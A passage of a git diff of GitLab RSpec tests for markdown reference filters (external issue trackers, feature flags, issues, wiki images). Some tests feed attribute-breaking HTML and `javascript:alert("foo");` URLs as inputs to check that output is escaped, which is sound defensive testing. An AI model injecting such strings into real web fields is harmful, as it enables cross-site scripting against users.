- expect(project).to receive(:default_issues_tracker?).and_return(true)
-
- exp = act = "Issue #{reference}"
- expect(filter(act).to_html).to eq exp
- end
-
- it 'links to a valid reference' do
- doc = filter("Issue #{reference}")
- issue_id = doc.css('a').first.attr("data-external-issue")
-
- expect(doc.css('a').first.attr('href'))
- .to eq project.external_issue_tracker.issue_url(issue_id)
- end
-
- it 'links to the external tracker' do
- doc = filter("Issue #{reference}")
-
- link = doc.css('a').first.attr('href')
- issue_id = doc.css('a').first.attr("data-external-issue")
-
- expect(link).to eq(project.external_issue_tracker.issue_url(issue_id))
- end
-
- it 'links with adjacent text' do
- doc = filter("Issue (#{reference}.)")
-
- expect(doc.to_html).to match(%r{\(<a.+>#{reference}</a>\.\)})
- end
-
- it 'includes a title attribute' do
- doc = filter("Issue #{reference}")
- expect(doc.css('a').first.attr('title')).to include("Issue in #{project.external_issue_tracker.title}")
- end
-
- it 'escapes the title attribute' do
- allow(project.external_issue_tracker).to receive(:title)
- .and_return(%{"></a>whatever<a title="})
-
- doc = filter("Issue #{reference}")
- expect(doc.text).to eq "Issue #{reference}"
- end
-
- it 'includes default classes' do
- doc = filter("Issue #{reference}")
- expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-issue has-tooltip'
- end
-
- it 'supports an :only_path context' do
- doc = filter("Issue #{reference}", only_path: true)
-
- link = doc.css('a').first.attr('href')
- issue_id = doc.css('a').first["data-external-issue"]
-
- expect(link).to eq project.external_issue_tracker.issue_path(issue_id)
- end
-
- it 'has an empty link if issue_url is invalid' do
- expect_any_instance_of(project.external_issue_tracker.class).to receive(:issue_url) { 'javascript:alert("foo");' }
-
- doc = filter("Issue #{reference}")
- link = doc.css('a').first.attr('href')
-
- expect(link).to eq ''
- end
-
- it 'has an empty link if issue_path is invalid' do
- expect_any_instance_of(project.external_issue_tracker.class).to receive(:issue_path) { 'javascript:alert("foo");' }
-
- doc = filter("Issue #{reference}", only_path: true)
- link = doc.css('a').first.attr('href')
-
- expect(link).to eq ''
- end
-
- context 'with RequestStore enabled', :request_store do
- let(:reference_filter) { HTML::Pipeline.new([described_class]) }
-
- it 'queries the collection on the first call' do
- expect_any_instance_of(Project).to receive(:default_issues_tracker?).once.and_call_original
- expect_any_instance_of(Project).to receive(:external_issue_reference_pattern).once.and_call_original
-
- not_cached = reference_filter.call("look for #{reference}", { project: project })
-
- expect_any_instance_of(Project).not_to receive(:default_issues_tracker?)
- expect_any_instance_of(Project).not_to receive(:external_issue_reference_pattern)
-
- cached = reference_filter.call("look for #{reference}", { project: project })
-
- # Links must be the same
- expect(cached[:output].css('a').first[:href]).to eq(not_cached[:output].css('a').first[:href])
- end
- end
- end
-
- context "redmine project" do
- let_it_be(:service) { create(:redmine_service, project: project) }
-
- before do
- project.update!(issues_enabled: false)
- end
-
- context "with a hash prefix" do
- let(:issue) { ExternalIssue.new("#123", project) }
- let(:reference) { issue.to_reference }
-
- it_behaves_like "external issue tracker"
- end
-
- context "with a single-letter prefix" do
- let(:issue) { ExternalIssue.new("T-123", project) }
- let(:reference) { issue.to_reference }
-
- it_behaves_like "external issue tracker"
- end
- end
-
- context "youtrack project" do
- let_it_be(:service) { create(:youtrack_service, project: project) }
-
- before do
- project.update!(issues_enabled: false)
- end
-
- context "with right markdown" do
- let(:issue) { ExternalIssue.new("YT-123", project) }
- let(:reference) { issue.to_reference }
-
- it_behaves_like "external issue tracker"
- end
-
- context "with underscores in the prefix" do
- let(:issue) { ExternalIssue.new("PRJ_1-123", project) }
- let(:reference) { issue.to_reference }
-
- it_behaves_like "external issue tracker"
- end
-
- context "with lowercase letters in the prefix" do
- let(:issue) { ExternalIssue.new("YTkPrj-123", project) }
- let(:reference) { issue.to_reference }
-
- it_behaves_like "external issue tracker"
- end
-
- context "with a single-letter prefix" do
- let(:issue) { ExternalIssue.new("T-123", project) }
- let(:reference) { issue.to_reference }
-
- it_behaves_like "external issue tracker"
- end
-
- context "with a lowercase prefix" do
- let(:issue) { ExternalIssue.new("gl-030", project) }
- let(:reference) { issue.to_reference }
-
- it_behaves_like "external issue tracker"
- end
- end
-
- context "jira project" do
- let_it_be(:service) { create(:jira_service, project: project) }
- let(:reference) { issue.to_reference }
-
- context "with right markdown" do
- let(:issue) { ExternalIssue.new("JIRA-123", project) }
-
- it_behaves_like "external issue tracker"
- end
-
- context "with a single-letter prefix" do
- let(:issue) { ExternalIssue.new("J-123", project) }
-
- it "ignores reference" do
- exp = act = "Issue #{reference}"
- expect(filter(act).to_html).to eq exp
- end
- end
-
- context "with wrong markdown" do
- let(:issue) { ExternalIssue.new("#123", project) }
-
- it "ignores reference" do
- exp = act = "Issue #{reference}"
- expect(filter(act).to_html).to eq exp
- end
- end
- end
-
- context "ewm project" do
- let_it_be(:service) { create(:ewm_service, project: project) }
-
- before do
- project.update!(issues_enabled: false)
- end
-
- context "rtcwi keyword" do
- let(:issue) { ExternalIssue.new("rtcwi 123", project) }
- let(:reference) { issue.to_reference }
-
- it_behaves_like "external issue tracker"
- end
-
- context "workitem keyword" do
- let(:issue) { ExternalIssue.new("workitem 123", project) }
- let(:reference) { issue.to_reference }
-
- it_behaves_like "external issue tracker"
- end
-
- context "defect keyword" do
- let(:issue) { ExternalIssue.new("defect 123", project) }
- let(:reference) { issue.to_reference }
-
- it_behaves_like "external issue tracker"
- end
-
- context "task keyword" do
- let(:issue) { ExternalIssue.new("task 123", project) }
- let(:reference) { issue.to_reference }
-
- it_behaves_like "external issue tracker"
- end
-
- context "bug keyword" do
- let(:issue) { ExternalIssue.new("bug 123", project) }
- let(:reference) { issue.to_reference }
-
- it_behaves_like "external issue tracker"
- end
- end
-end
diff --git a/spec/lib/banzai/filter/feature_flag_reference_filter_spec.rb b/spec/lib/banzai/filter/feature_flag_reference_filter_spec.rb
deleted file mode 100644
index 2d7089853cf..00000000000
--- a/spec/lib/banzai/filter/feature_flag_reference_filter_spec.rb
+++ /dev/null
@@ -1,223 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Banzai::Filter::FeatureFlagReferenceFilter do
- include FilterSpecHelper
-
- let_it_be(:project) { create(:project, :public) }
- let_it_be(:feature_flag) { create(:operations_feature_flag, project: project) }
- let_it_be(:reference) { feature_flag.to_reference }
-
- it 'requires project context' do
- expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
- end
-
- %w(pre code a style).each do |elem|
- it "ignores valid references contained inside '#{elem}' element" do
- exp = act = "<#{elem}>Feature Flag #{reference}</#{elem}>"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'with internal reference' do
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq urls.edit_project_feature_flag_url(project, feature_flag)
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Feature Flag (#{reference}.)")
-
- expect(doc.to_html).to match(%r{\(<a.+>#{Regexp.escape(reference)}</a>\.\)})
- end
-
- it 'ignores invalid feature flag IIDs' do
- exp = act = "Check [feature_flag:#{non_existing_record_id}]"
-
- expect(reference_filter(act).to_html).to eq exp
- end
-
- it 'includes a title attribute' do
- doc = reference_filter("Feature Flag #{reference}")
-
- expect(doc.css('a').first.attr('title')).to eq feature_flag.name
- end
-
- it 'escapes the title attribute' do
- allow(feature_flag).to receive(:name).and_return(%{"></a>whatever<a title="})
- doc = reference_filter("Feature Flag #{reference}")
-
- expect(doc.text).to eq "Feature Flag #{reference}"
- end
-
- it 'includes default classes' do
- doc = reference_filter("Feature Flag #{reference}")
-
- expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-feature_flag has-tooltip'
- end
-
- it 'includes a data-project attribute' do
- doc = reference_filter("Feature Flag #{reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-project')
- expect(link.attr('data-project')).to eq project.id.to_s
- end
-
- it 'includes a data-feature-flag attribute' do
- doc = reference_filter("See #{reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-feature-flag')
- expect(link.attr('data-feature-flag')).to eq feature_flag.id.to_s
- end
-
- it 'supports an :only_path context' do
- doc = reference_filter("Feature Flag #{reference}", only_path: true)
- link = doc.css('a').first.attr('href')
-
- expect(link).not_to match %r(https?://)
- expect(link).to eq urls.edit_project_feature_flag_url(project, feature_flag.iid, only_path: true)
- end
- end
-
- context 'with cross-project / cross-namespace complete reference' do
- let_it_be(:namespace) { create(:namespace) }
- let_it_be(:project2) { create(:project, :public, namespace: namespace) }
- let_it_be(:feature_flag) { create(:operations_feature_flag, project: project2) }
- let_it_be(:reference) { "[feature_flag:#{project2.full_path}/#{feature_flag.iid}]" }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq urls.edit_project_feature_flag_url(project2, feature_flag)
- end
-
- it 'produces a valid text in a link' do
- doc = reference_filter("See (#{reference}.)")
-
- expect(doc.css('a').first.text).to eql(reference)
- end
-
- it 'produces a valid text' do
- doc = reference_filter("See (#{reference}.)")
-
- expect(doc.text).to eql("See (#{reference}.)")
- end
-
- it 'ignores invalid feature flag IIDs on the referenced project' do
- exp = act = "Check [feature_flag:#{non_existing_record_id}]"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'with cross-project / same-namespace complete reference' do
- let_it_be(:namespace) { create(:namespace) }
- let_it_be(:project) { create(:project, :public, namespace: namespace) }
- let_it_be(:project2) { create(:project, :public, namespace: namespace) }
- let_it_be(:feature_flag) { create(:operations_feature_flag, project: project2) }
- let_it_be(:reference) { "[feature_flag:#{project2.full_path}/#{feature_flag.iid}]" }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq urls.edit_project_feature_flag_url(project2, feature_flag)
- end
-
- it 'produces a valid text in a link' do
- doc = reference_filter("See ([feature_flag:#{project2.path}/#{feature_flag.iid}].)")
-
- expect(doc.css('a').first.text).to eql("[feature_flag:#{project2.path}/#{feature_flag.iid}]")
- end
-
- it 'produces a valid text' do
- doc = reference_filter("See ([feature_flag:#{project2.path}/#{feature_flag.iid}].)")
-
- expect(doc.text).to eql("See ([feature_flag:#{project2.path}/#{feature_flag.iid}].)")
- end
-
- it 'ignores invalid feature flag IIDs on the referenced project' do
- exp = act = "Check [feature_flag:#{non_existing_record_id}]"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'with cross-project shorthand reference' do
- let_it_be(:namespace) { create(:namespace) }
- let_it_be(:project) { create(:project, :public, namespace: namespace) }
- let_it_be(:project2) { create(:project, :public, namespace: namespace) }
- let_it_be(:feature_flag) { create(:operations_feature_flag, project: project2) }
- let_it_be(:reference) { "[feature_flag:#{project2.path}/#{feature_flag.iid}]" }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq urls.edit_project_feature_flag_url(project2, feature_flag)
- end
-
- it 'produces a valid text in a link' do
- doc = reference_filter("See ([feature_flag:#{project2.path}/#{feature_flag.iid}].)")
-
- expect(doc.css('a').first.text).to eql("[feature_flag:#{project2.path}/#{feature_flag.iid}]")
- end
-
- it 'produces a valid text' do
- doc = reference_filter("See ([feature_flag:#{project2.path}/#{feature_flag.iid}].)")
-
- expect(doc.text).to eql("See ([feature_flag:#{project2.path}/#{feature_flag.iid}].)")
- end
-
- it 'ignores invalid feature flag IDs on the referenced project' do
- exp = act = "Check [feature_flag:#{non_existing_record_id}]"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'with cross-project URL reference' do
- let_it_be(:namespace) { create(:namespace, name: 'cross-reference') }
- let_it_be(:project2) { create(:project, :public, namespace: namespace) }
- let_it_be(:feature_flag) { create(:operations_feature_flag, project: project2) }
- let_it_be(:reference) { urls.edit_project_feature_flag_url(project2, feature_flag) }
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href')).to eq urls.edit_project_feature_flag_url(project2, feature_flag)
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("See (#{reference}.)")
-
- expect(doc.to_html).to match(%r{\(<a.+>#{Regexp.escape(feature_flag.to_reference(project))}</a>\.\)})
- end
-
- it 'ignores invalid feature flag IIDs on the referenced project' do
- act = "See #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to match(%r{<a.+>#{Regexp.escape(invalidate_reference(reference))}</a>})
- end
- end
-
- context 'with group context' do
- let_it_be(:group) { create(:group) }
-
- it 'links to a valid reference' do
- reference = "[feature_flag:#{project.full_path}/#{feature_flag.iid}]"
- result = reference_filter("See #{reference}", { project: nil, group: group } )
-
- expect(result.css('a').first.attr('href')).to eq(urls.edit_project_feature_flag_url(project, feature_flag))
- end
-
- it 'ignores internal references' do
- exp = act = "See [feature_flag:#{feature_flag.iid}]"
-
- expect(reference_filter(act, project: nil, group: group).to_html).to eq exp
- end
- end
-end
diff --git a/spec/lib/banzai/filter/gollum_tags_filter_spec.rb b/spec/lib/banzai/filter/gollum_tags_filter_spec.rb
index ec17bb26346..23626576c0c 100644
--- a/spec/lib/banzai/filter/gollum_tags_filter_spec.rb
+++ b/spec/lib/banzai/filter/gollum_tags_filter_spec.rb
@@ -16,18 +16,14 @@ RSpec.describe Banzai::Filter::GollumTagsFilter do
context 'linking internal images' do
it 'creates img tag if image exists' do
- gollum_file_double = double('Gollum::File',
- mime_type: 'image/jpeg',
- name: 'images/image.jpg',
- path: 'images/image.jpg',
- raw_data: '')
- wiki_file = Gitlab::Git::WikiFile.new(gollum_file_double)
+ blob = double(mime_type: 'image/jpeg', name: 'images/image.jpg', path: 'images/image.jpg', data: '')
+ wiki_file = Gitlab::Git::WikiFile.new(blob)
expect(wiki).to receive(:find_file).with('images/image.jpg', load_content: false).and_return(wiki_file)
tag = '[[images/image.jpg]]'
doc = filter("See #{tag}", wiki: wiki)
- expect(doc.at_css('img')['data-src']).to eq "#{wiki.wiki_base_path}/images/image.jpg"
+ expect(doc.at_css('img')['src']).to eq 'images/image.jpg'
end
it 'does not creates img tag if image does not exist' do
@@ -45,7 +41,7 @@ RSpec.describe Banzai::Filter::GollumTagsFilter do
tag = '[[http://example.com/image.jpg]]'
doc = filter("See #{tag}", wiki: wiki)
- expect(doc.at_css('img')['data-src']).to eq "http://example.com/image.jpg"
+ expect(doc.at_css('img')['src']).to eq "http://example.com/image.jpg"
end
it 'does not creates img tag for invalid URL' do
diff --git a/spec/lib/banzai/filter/inline_metrics_redactor_filter_spec.rb b/spec/lib/banzai/filter/inline_metrics_redactor_filter_spec.rb
index 3c736b46131..9ccea1cc3e9 100644
--- a/spec/lib/banzai/filter/inline_metrics_redactor_filter_spec.rb
+++ b/spec/lib/banzai/filter/inline_metrics_redactor_filter_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe Banzai::Filter::InlineMetricsRedactorFilter do
include FilterSpecHelper
let_it_be(:project) { create(:project) }
+
let(:url) { urls.metrics_dashboard_project_environment_url(project, 1, embedded: true) }
let(:input) { %(<a href="#{url}">example</a>) }
let(:doc) { filter(input) }
@@ -38,6 +39,7 @@ RSpec.describe Banzai::Filter::InlineMetricsRedactorFilter do
context 'for a cluster metric embed' do
let_it_be(:cluster) { create(:cluster, :provided_by_gcp, :project, projects: [project]) }
+
let(:params) { [project.namespace.path, project.path, cluster.id] }
let(:query_params) { { group: 'Cluster Health', title: 'CPU Usage', y_label: 'CPU (cores)' } }
let(:url) { urls.metrics_dashboard_namespace_project_cluster_url(*params, **query_params, format: :json) }
@@ -84,6 +86,7 @@ RSpec.describe Banzai::Filter::InlineMetricsRedactorFilter do
context 'for an alert embed' do
let_it_be(:alert) { create(:prometheus_alert, project: project) }
+
let(:url) do
urls.metrics_dashboard_project_prometheus_alert_url(
project,
diff --git a/spec/lib/banzai/filter/issue_reference_filter_spec.rb b/spec/lib/banzai/filter/issue_reference_filter_spec.rb
deleted file mode 100644
index 4b8b575c1f0..00000000000
--- a/spec/lib/banzai/filter/issue_reference_filter_spec.rb
+++ /dev/null
@@ -1,549 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Banzai::Filter::IssueReferenceFilter do
- include FilterSpecHelper
- include DesignManagementTestHelpers
-
- def helper
- IssuesHelper
- end
-
- let(:project) { create(:project, :public) }
- let(:issue) { create(:issue, project: project) }
- let(:issue_path) { "/#{issue.project.namespace.path}/#{issue.project.path}/-/issues/#{issue.iid}" }
- let(:issue_url) { "http://#{Gitlab.config.gitlab.host}#{issue_path}" }
-
- it 'requires project context' do
- expect { described_class.call('') }.to raise_error(ArgumentError, /:project/)
- end
-
- %w(pre code a style).each do |elem|
- it "ignores valid references contained inside '#{elem}' element" do
- exp = act = "<#{elem}>Issue #{issue.to_reference}</#{elem}>"
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- describe 'performance' do
- let(:another_issue) { create(:issue, project: project) }
-
- it 'does not have a N+1 query problem' do
- single_reference = "Issue #{issue.to_reference}"
- multiple_references = "Issues #{issue.to_reference} and #{another_issue.to_reference}"
-
- control_count = ActiveRecord::QueryRecorder.new { reference_filter(single_reference).to_html }.count
-
- expect { reference_filter(multiple_references).to_html }.not_to exceed_query_limit(control_count)
- end
- end
-
- context 'internal reference' do
- let(:reference) { "##{issue.iid}" }
-
- it_behaves_like 'a reference containing an element node'
-
- it 'links to a valid reference' do
- doc = reference_filter("Fixed #{reference}")
-
- expect(doc.css('a').first.attr('href'))
- .to eq issue_url
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Fixed (#{reference}.)")
- expect(doc.text).to eql("Fixed (#{reference}.)")
- end
-
- it 'ignores invalid issue IDs' do
- invalid = invalidate_reference(reference)
- exp = act = "Fixed #{invalid}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
-
- it 'includes a title attribute' do
- doc = reference_filter("Issue #{reference}")
- expect(doc.css('a').first.attr('title')).to eq issue.title
- end
-
- it 'escapes the title attribute' do
- issue.update_attribute(:title, %{"></a>whatever<a title="})
-
- doc = reference_filter("Issue #{reference}")
- expect(doc.text).to eq "Issue #{reference}"
- end
-
- it 'renders non-HTML tooltips' do
- doc = reference_filter("Issue #{reference}")
-
- expect(doc.at_css('a')).not_to have_attribute('data-html')
- end
-
- it 'includes default classes' do
- doc = reference_filter("Issue #{reference}")
- expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-issue has-tooltip'
- end
-
- it 'includes a data-project attribute' do
- doc = reference_filter("Issue #{reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-project')
- expect(link.attr('data-project')).to eq project.id.to_s
- end
-
- it 'includes a data-issue attribute' do
- doc = reference_filter("See #{reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-issue')
- expect(link.attr('data-issue')).to eq issue.id.to_s
- end
-
- it 'includes a data-original attribute' do
- doc = reference_filter("See #{reference}")
- link = doc.css('a').first
-
- expect(link).to have_attribute('data-original')
- expect(link.attr('data-original')).to eq reference
- end
-
- it 'does not escape the data-original attribute' do
- inner_html = 'element <code>node</code> inside'
- doc = reference_filter(%{<a href="#{reference}">#{inner_html}</a>})
- expect(doc.children.first.attr('data-original')).to eq inner_html
- end
-
- it 'supports an :only_path context' do
- doc = reference_filter("Issue #{reference}", only_path: true)
- link = doc.css('a').first.attr('href')
-
- expect(link).not_to match %r(https?://)
- expect(link).to eq issue_path
- end
-
- it 'does not process links containing issue numbers followed by text' do
- href = "#{reference}st"
- doc = reference_filter("<a href='#{href}'></a>")
- link = doc.css('a').first.attr('href')
-
- expect(link).to eq(href)
- end
- end
-
- context 'cross-project / cross-namespace complete reference' do
- let(:reference) { "#{project2.full_path}##{issue.iid}" }
- let(:issue) { create(:issue, project: project2) }
- let(:project2) { create(:project, :public) }
-
- it_behaves_like 'a reference containing an element node'
-
- it 'ignores valid references when cross-reference project uses external tracker' do
- expect_any_instance_of(described_class).to receive(:find_object)
- .with(project2, issue.iid)
- .and_return(nil)
-
- exp = act = "Issue #{reference}"
- expect(reference_filter(act).to_html).to eq exp
- end
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href'))
- .to eq issue_url
- end
-
- it 'link has valid text' do
- doc = reference_filter("Fixed (#{reference}.)")
-
- expect(doc.css('a').first.text).to eql("#{project2.full_path}##{issue.iid}")
- end
-
- it 'has valid text' do
- doc = reference_filter("Fixed (#{reference}.)")
-
- expect(doc.text).to eq("Fixed (#{project2.full_path}##{issue.iid}.)")
- end
-
- it 'includes default classes' do
- doc = reference_filter("Fixed (#{reference}.)")
-
- expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-issue has-tooltip'
- end
-
- it 'ignores invalid issue IDs on the referenced project' do
- exp = act = "Fixed #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'cross-project / same-namespace complete reference' do
- let(:reference) { "#{project2.full_path}##{issue.iid}" }
- let(:issue) { create(:issue, project: project2) }
- let(:project2) { create(:project, :public, namespace: namespace) }
- let(:project) { create(:project, :public, namespace: namespace) }
- let(:namespace) { create(:namespace) }
-
- it_behaves_like 'a reference containing an element node'
-
- it 'ignores valid references when cross-reference project uses external tracker' do
- expect_any_instance_of(described_class).to receive(:find_object)
- .with(project2, issue.iid)
- .and_return(nil)
-
- exp = act = "Issue #{reference}"
- expect(reference_filter(act).to_html).to eq exp
- end
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href'))
- .to eq issue_url
- end
-
- it 'link has valid text' do
- doc = reference_filter("Fixed (#{reference}.)")
-
- expect(doc.css('a').first.text).to eql("#{project2.path}##{issue.iid}")
- end
-
- it 'has valid text' do
- doc = reference_filter("Fixed (#{reference}.)")
-
- expect(doc.text).to eq("Fixed (#{project2.path}##{issue.iid}.)")
- end
-
- it 'includes default classes' do
- doc = reference_filter("Fixed (#{reference}.)")
-
- expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-issue has-tooltip'
- end
-
- it 'ignores invalid issue IDs on the referenced project' do
- exp = act = "Fixed #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'cross-project shorthand reference' do
- let(:reference) { "#{project2.path}##{issue.iid}" }
- let(:issue) { create(:issue, project: project2) }
- let(:project2) { create(:project, :public, namespace: namespace) }
- let(:project) { create(:project, :public, namespace: namespace) }
- let(:namespace) { create(:namespace) }
-
- it_behaves_like 'a reference containing an element node'
-
- it 'ignores valid references when cross-reference project uses external tracker' do
- expect_any_instance_of(described_class).to receive(:find_object)
- .with(project2, issue.iid)
- .and_return(nil)
-
- exp = act = "Issue #{reference}"
- expect(reference_filter(act).to_html).to eq exp
- end
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href'))
- .to eq issue_url
- end
-
- it 'link has valid text' do
- doc = reference_filter("Fixed (#{reference}.)")
-
- expect(doc.css('a').first.text).to eql("#{project2.path}##{issue.iid}")
- end
-
- it 'has valid text' do
- doc = reference_filter("Fixed (#{reference}.)")
-
- expect(doc.text).to eq("Fixed (#{project2.path}##{issue.iid}.)")
- end
-
- it 'includes default classes' do
- doc = reference_filter("Fixed (#{reference}.)")
-
- expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-issue has-tooltip'
- end
-
- it 'ignores invalid issue IDs on the referenced project' do
- exp = act = "Fixed #{invalidate_reference(reference)}"
-
- expect(reference_filter(act).to_html).to eq exp
- end
- end
-
- context 'cross-project URL reference' do
- let(:reference) { issue_url + "#note_123" }
- let(:issue) { create(:issue, project: project2) }
- let(:project2) { create(:project, :public, namespace: namespace) }
- let(:namespace) { create(:namespace, name: 'cross-reference') }
-
- it_behaves_like 'a reference containing an element node'
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference}")
-
- expect(doc.css('a').first.attr('href'))
- .to eq reference
- end
-
- it 'link with trailing slash' do
- doc = reference_filter("Fixed (#{issue_url + "/"}.)")
-
- expect(doc.to_html).to match(%r{\(<a.+>#{Regexp.escape(issue.to_reference(project))}</a>\.\)})
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Fixed (#{reference}.)")
-
- expect(doc.to_html).to match(%r{\(<a.+>#{Regexp.escape(issue.to_reference(project))} \(comment 123\)</a>\.\)})
- end
-
- it 'includes default classes' do
- doc = reference_filter("Fixed (#{reference}.)")
-
- expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-issue has-tooltip'
- end
- end
-
- context 'cross-project reference in link href' do
- let(:reference_link) { %{<a href="#{reference}">Reference</a>} }
- let(:reference) { issue.to_reference(project) }
- let(:issue) { create(:issue, project: project2) }
- let(:project2) { create(:project, :public, namespace: namespace) }
- let(:namespace) { create(:namespace, name: 'cross-reference') }
-
- it_behaves_like 'a reference containing an element node'
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference_link}")
-
- expect(doc.css('a').first.attr('href'))
- .to eq issue_url
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Fixed (#{reference_link}.)")
-
- expect(doc.to_html).to match(%r{\(<a.+>Reference</a>\.\)})
- end
-
- it 'includes default classes' do
- doc = reference_filter("Fixed (#{reference_link}.)")
-
- expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-issue has-tooltip'
- end
- end
-
- context 'cross-project URL in link href' do
- let(:reference_link) { %{<a href="#{reference}">Reference</a>} }
- let(:reference) { "#{issue_url + "#note_123"}" }
- let(:issue) { create(:issue, project: project2) }
- let(:project2) { create(:project, :public, namespace: namespace) }
- let(:namespace) { create(:namespace, name: 'cross-reference') }
-
- it_behaves_like 'a reference containing an element node'
-
- it 'links to a valid reference' do
- doc = reference_filter("See #{reference_link}")
-
- expect(doc.css('a').first.attr('href'))
- .to eq issue_url + "#note_123"
- end
-
- it 'links with adjacent text' do
- doc = reference_filter("Fixed (#{reference_link}.)")
-
- expect(doc.to_html).to match(%r{\(<a.+>Reference</a>\.\)})
- end
-
- it 'includes default classes' do
- doc = reference_filter("Fixed (#{reference_link}.)")
-
- expect(doc.css('a').first.attr('class')).to eq 'gfm gfm-issue has-tooltip'
- end
- end
-
- context 'when processing a link to the designs tab' do
- let(:designs_tab_url) { url_for_designs(issue) }
- let(:input_text) { "See #{designs_tab_url}" }
-
- subject(:link) { reference_filter(input_text).css('a').first }
-
- before do
- enable_design_management
- end
-
- it 'includes the word "designs" after the reference in the text content', :aggregate_failures do
- expect(link.attr('title')).to eq(issue.title)
- expect(link.attr('href')).to eq(designs_tab_url)
- expect(link.text).to eq("#{issue.to_reference} (designs)")
- end
-
- context 'design management is not available' do
- before do
- enable_design_management(false)
- end
-
- it 'links to the issue, but not to the designs tab' do
- expect(link.text).to eq(issue.to_reference)
- end
- end
- end
-
- context 'group context' do
- let(:group) { create(:group) }
- let(:context) { { project: nil, group: group } }
-
- it 'ignores shorthanded issue reference' do
- reference = "##{issue.iid}"
- text = "Fixed #{reference}"
-
- expect(reference_filter(text, context).to_html).to eq(text)
- end
-
- it 'ignores valid references when cross-reference project uses external tracker' do
- expect_any_instance_of(described_class).to receive(:find_object)
- .with(project, issue.iid)
- .and_return(nil)
-
- reference = "#{project.full_path}##{issue.iid}"
- text = "Issue #{reference}"
-
- expect(reference_filter(text, context).to_html).to eq(text)
- end
-
- it 'links to a valid reference for complete cross-reference' do
- reference = "#{project.full_path}##{issue.iid}"
- doc = reference_filter("See #{reference}", context)
-
- link = doc.css('a').first
- expect(link.attr('href')).to eq(issue_url)
- expect(link.text).to include("#{project.full_path}##{issue.iid}")
- end
-
- it 'ignores reference for shorthand cross-reference' do
- reference = "#{project.path}##{issue.iid}"
- text = "See #{reference}"
-
- expect(reference_filter(text, context).to_html).to eq(text)
- end
-
- it 'links to a valid reference for url cross-reference' do
- reference = issue_url + "#note_123"
-
- doc = reference_filter("See #{reference}", context)
-
- link = doc.css('a').first
- expect(link.attr('href')).to eq(issue_url + "#note_123")
- expect(link.text).to include("#{project.full_path}##{issue.iid}")
- end
-
- it 'links to a valid reference for cross-reference in link href' do
- reference = "#{issue_url + "#note_123"}"
- reference_link = %{<a href="#{reference}">Reference</a>}
-
- doc = reference_filter("See #{reference_link}", context)
-
- link = doc.css('a').first
- expect(link.attr('href')).to eq(issue_url + "#note_123")
- expect(link.text).to include('Reference')
- end
-
- it 'links to a valid reference for issue reference in the link href' do
- reference = issue.to_reference(group)
- reference_link = %{<a href="#{reference}">Reference</a>}
- doc = reference_filter("See #{reference_link}", context)
-
- link = doc.css('a').first
- expect(link.attr('href')).to eq(issue_url)
- expect(link.text).to include('Reference')
- end
- end
-
- describe '#records_per_parent' do
- context 'using an internal issue tracker' do
- it 'returns a Hash containing the issues per project' do
- doc = Nokogiri::HTML.fragment('')
- filter = described_class.new(doc, project: project)
-
- expect(filter).to receive(:parent_per_reference)
- .and_return({ project.full_path => project })
-
- expect(filter).to receive(:references_per_parent)
- .and_return({ project.full_path => Set.new([issue.iid]) })
-
- expect(filter.records_per_parent)
- .to eq({ project => { issue.iid => issue } })
- end
- end
- end
-
- describe '.references_in' do
- let(:merge_request) { create(:merge_request) }
-
- it 'yields valid references' do
- expect do |b|
- described_class.references_in(issue.to_reference, &b)
- end.to yield_with_args(issue.to_reference, issue.iid, nil, nil, MatchData)
- end
-
- it "doesn't yield invalid references" do
- expect do |b|
- described_class.references_in('#0', &b)
- end.not_to yield_control
- end
-
- it "doesn't yield unsupported references" do
- expect do |b|
- described_class.references_in(merge_request.to_reference, &b)
- end.not_to yield_control
- end
- end
-
- describe '#object_link_text_extras' do
- before do
- enable_design_management(enabled)
- end
-
- let(:current_user) { project.owner }
- let(:enabled) { true }
- let(:matches) { Issue.link_reference_pattern.match(input_text) }
